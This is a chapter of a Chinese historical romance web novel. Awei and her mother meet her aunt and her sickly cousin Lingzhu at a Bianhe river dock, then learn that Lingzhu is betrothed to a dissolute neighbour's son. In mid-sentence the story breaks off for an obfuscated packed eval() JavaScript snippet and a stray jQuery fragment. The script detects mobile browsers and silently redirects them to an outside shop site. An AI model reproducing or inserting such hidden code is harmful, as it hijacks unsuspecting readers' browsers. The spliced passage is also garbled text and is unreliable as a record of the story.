马车停在东城门外的汴河码头，阿薇撩开车帘探头往外看了会儿，就被沈荣华抓了回来。
“女孩子，别这么粗野，万一叫你姨母看见了，又得跟我说你了。”
她不过是看看外面码头，怎么就粗野了？阿薇挠着沈荣华的手心，以此表示自己的不满。
沈荣华叫檀画去码头上候着，见着人了再来叫她们。
车里还摆着棋盒，可沈荣华担心时间来不及，就没铺开来下棋，只和阿薇说说闲话。
“你姨母她也有自己的苦楚，所以你也别总怨怪她严苛。你那位姨夫自己不中用，却怪你姨母生不出儿子，纳了十好几个妾室，又因为无所出断断续续都送了人。唉……”
这些话阿薇从小听到大的，一开始她还会同情姨母，同情那些妾室，直到有一次年节她当面叫姨母和姨夫和离，当时不仅姨母怒而离席，她回家之后还被打了手心，罚了一个月的禁闭，她就再也不可怜她这位姨母了。
虽然她也有错，不该当着其他人，尤其是姨夫的面这么说，可阿薇总觉得从那之后，姨母就记恨上了她，见她从来都是冷着脸，跟看一个仇人一样。
沈荣华点了点她的鼻尖，打趣她：“不过你也是，宁拆十座庙，不破一桩婚，哪有你直接大庭广众叫长辈和离的，你姨母已经够忍让你了，你倒还记恨她。”
阿薇又被沈荣华看穿了，努了努嘴，还是觉得不服气。
沈荣华继续说：“等灵竹出嫁了，还远嫁到东京，在常州你姨母就只能依靠她丈夫了，她这么要强的一个人，该有多难过啊。”
阿薇贴着沈荣华脸，轻轻蹭了蹭：“我会，一直，陪着你。”
她总算是听明白了，沈荣华之所以会想这些，觉得姨母会因为林灵竹出嫁而难过，都是因为想到了自己。
那她可以不嫁人的，东京城招赘的人家也不少，尤其她是独女，招赘更是应该。
不过那江三郎也只有两个姐姐，没有兄弟，怕是不愿意入赘，才偏要她嫁过去。
父亲也太偏心江家了，怎么不自己……
沈荣华回抱住阿薇，她也舍不得，可舍不得也没办法。
“哪有女儿家不嫁人的，江家离得不远，我想你了自然会去看你。那江夫人和我也算熟识了，她可是个软和人，定不会欺负你的。”
阿薇才不怕被欺负，软和人不好相处啊，总怕一个不小心就伤了人的心，勉强了人家，人家又不说，暗自委屈。
她倒宁愿是个坏在明面上的婆婆，她要是和这样的婆婆闹得不愉快，也就是一件很寻常的事了。
老话都说了，恶人自有恶人磨，她脾气这么差，自然是要去磨一个恶婆婆才行。
“这几日就叫你松泛松泛，等你父亲回家，他就要去请江家三郎来家里做客了，你到时候别见了人家生得俊俏，就非嫁人家不可了。毕竟当年他父亲也是东京城里家喻户晓的俊后生，若是春闱能入一甲，那定是探花的不二人选。”
“不，可，能！”
她才不喜欢长得俊俏的男子，还不如她父亲那样的呢，至少有男儿气概。而且东京城那些俊俏的公子哥们，私底下个个都爱寻花问柳，和花魁娘子作伴，没一个忠贞的。
尤其是对门的张家，家中三个儿子，年纪相差十几岁，据说都和一个叫香香的花魁有染，真恶心。也不知道哪个被蒙骗的可怜姑娘会嫁到这样的人家去，未来可怎么办啊？
“哦？那你可敢和我打赌，若是你能如你今日所说坚守初心，那我便带你回扬州老家住上一年半载的，绝不叫你嫁到江家去。”
“真的？”
阿薇立刻喜笑颜开，若沈荣华不诓她，那也算是这充满了霉运的五月里唯一一件好事了。
沈荣华伸出小拇指：“拉勾。”
可阿薇刚伸出手指去勾，檀画就来告知，说从常州来的船靠岸了。
沈荣华立刻收回了手指，叫阿薇戴上面衣后，匆忙下了车。
阿薇烦躁地拉着面衣垂下的白纱，若是要戴这劳什子玩意，她还上什么妆，梳哪门子头呢？
码头上人来人往，但多是些搬货的脚夫，或是风尘仆仆的商人，两个女子在其中还是十分好认的。
檀画和其他女使小厮们围着沈荣华和阿薇站在码头旁，等见到了人，沈荣华就立刻上前，搀扶住坐了好几日的船，脚步有些虚浮的自家大姐，沈荣丽。
顺带还推了下阿薇，叫她做为表姐好好表现，去把林灵竹扶下来。
阿薇即便不情愿，也不好拂了沈荣华的意，而且林灵竹即便也同样戴着面衣，但看起来好似比三年前还要清瘦了。
怎么都没长个呢，真可怜。
阿薇揽住林灵竹的手臂，接过她背着的包袱，也是同样和人一般轻飘飘的，看来这趟来也不会住很久。
想到这里，阿薇就开心起来。
“多谢表姐，咳，咳。”
林灵竹声音气若游丝，还带着咳嗽，看着像是病了。
两人只带了一个婆子、一个女使和两个小厮，且看着都很脸生，还都面黄肌瘦的，没什么精气神。
沈荣华见了便叫人将他们的行李都搬去另一架马车上，自己则拉着沈荣丽，上下打量着自己的大姐，眼圈都红了。
“路上辛苦了，快，快到家里去，我都给你收拾好了，你这次来多住几日才好。”
沈荣丽则带着客套的微笑，跟和一个陌生人说话没什么区别：“只是船上风大，又颠簸，吃得不好罢了，也没什么辛苦的。就是灵竹，她身子骨弱，染了风寒。”
“这可是要紧事，女孩家最娇弱了，不如我们直接就去医馆看看，还是把大夫叫到家里来？”
“不必了，”沈荣丽回头看了眼两个戴着面衣的姑娘，一高一低，差了一个头还多：“月薇又长高了，真好。之前常州的大夫有一个药方治风寒灵得很，去药房抓个药喝上三服，保管药到病除，不必去喊大夫这么麻烦。”
沈荣华听她这么说，只好答应，扶两人上车回家再说。
到了马车上，阿薇就摘掉了面衣，不想林灵竹却一直戴着，倒显得她古怪了起来。
尤其是沈荣丽，还一直盯着她看。
林灵竹：“姨母见谅，灵竹染了风寒，就不摘面衣了，免得将病气过了出去。”
沈荣华拉过她的手，感觉快要哭出来了：“可怜的孩子，生病就够难受的了，还要考虑我们，真是有心了。”
沈荣丽依旧浅笑着：“女孩子娇惯不得，为他人考虑那是应该的，这样日后嫁去夫家，才不会叫人嫌弃，丢了沈家和林家的脸面。”
阿薇实在听不得这话，眉头一下就纠结在一块。沈荣华余光瞟到，无奈地用脚踢了踢她的脚踝，警告她收敛一些。
这才第一日，还没到家呢，可别就吵起来。
沈荣丽却感受不到这对母女之间的交锋，语气淡淡地说：“月薇也已经长成大姑娘了，比三年前更明艳了，也定下人家了吧？”
沈荣华顺势抹了抹阿薇的脸，抚平她的眉头，笑着回道：“她爹早就定好了，就是和满家世代姻亲的那家，不过孩子们还没见过呢，得等见过了再说。”
方才明明说若是她不喜欢江家三郎就不嫁的，怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896256|212849||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么转头又跟姨母说了，真是的。
阿薇干脆别过脸，不看这对姐妹了。
沈荣华却趁机打趣她说她害羞了。
“哦，是江家吧，江家也不错，知根知底的，还都在东京城里，也方便照料一二。”
沈荣华附和道：“就是呢。”
“不像灵竹，嫁得远，不过离你家倒是近，好像就在你家对门。”
闻言，阿薇不可置信地转回了脑袋。沈荣华也呆住了：“是，是张尚书家？”
沈荣丽展颜一笑：“正是张家三郎，近年该有十七了。”
阿薇闭上眼睛，陷入自我怀疑当中。张家那位三郎才十七，就染上了爱去风月之地的毛病，春闱考了一次没中，说是要再考，可日日都招猫逗狗的，还不如他那两个哥哥，至少都入仕了。
姨母究竟在高兴些什么呀？
沈荣华也有些怀疑：“是张家呀，怎么你信上没说呢，现在突然说倒是吓了我，我们一跳。”
“哦，其实是那张家娘子去常州省亲时，经她家的大姐姐，又因着之前在你府上见过，我们才说上话的。正巧她在为自家三郎的亲事发愁，我也在为灵竹的终身大事发愁，就一拍即合，交换了信物。”
沈荣丽神神秘秘地凑上前，低声道：“再有就是，你姐夫他已经接到了调令要回京了，他叫我低调些，别宣扬出去，又怕写在信上被人看见，我就没说。”
沈荣华闻言一下也不顾其他了，高兴地都控制不住音量了：“真的呀，那可太好了。”
她握住沈荣丽的手：“日后咱们都在东京，就能日日见面了。”
阿薇：“……”
真是一件高兴的事都没有，倒霉的五月还是太倒霉了。
她还能回扬州小住吗？她想念扬州的莲子和鱼汤，还有最难得的，清静了。
等到回了家中，她还和沈荣华一起送沈荣丽和林灵竹到了沁竹院。可还不够，她还得去帮林灵竹收拾行李，因为她病了，而她的女使也不知道东西该归置在哪里。
不过琐事自有秀秀和亭亭去做，她难受的是，真不知道该如何和林灵竹相处。
要告诉她张家三郎做的那些丢人事吗？若是说了，林灵竹信了，但姨母不信怎么办？要不还是先和她阿娘商量商量。可是张家三个儿子虽不中用，张尚书却是前朝老臣了，在朝中颇有名望。张尚书夫人姓王，祖籍太原，亲兄长是如今参知政事，位同副相。
这样的人家，只有他们退别人家的婚，哪有别人退他家的婚的。
权势富贵，是一个人最华丽的装饰，同时也遮住了别人发现其本质的眼睛。
阿薇烦得很，站在门槛边扭着身子，一时看着门外的竹林，一时用手打着灯笼上垂下的流苏。
林灵竹进了屋便摘下了面衣，不过底下还有一层面纱，露出了一双疲惫无光的杏眼。
她一说话就咳嗽：“表姐，你坐呀。”
阿薇抓着流苏犹豫了一会儿，本想去竹林边的石桌坐下，那里凉快，可想到林灵竹还病着，不好吹风，就只能罢了，应了她坐在了屋里。
可也就只是干坐着，阿薇没什么好说的。而三年不见，林灵竹看起来也对现在的表姐感到很陌生。
“表姐还在生灵竹的气，所以一直也不给灵竹写信了。”
阿薇给她倒了杯茶水，檀画果然细心，茶水触手微烫，正适合林灵竹这样娇滴滴的小姑娘。
阿薇将茶杯推了过去，语气冷硬：“喝。”
说到信，她问心无愧。她的确是没给林灵竹写信，可林灵竹也没有给她写信，所以，扯平了。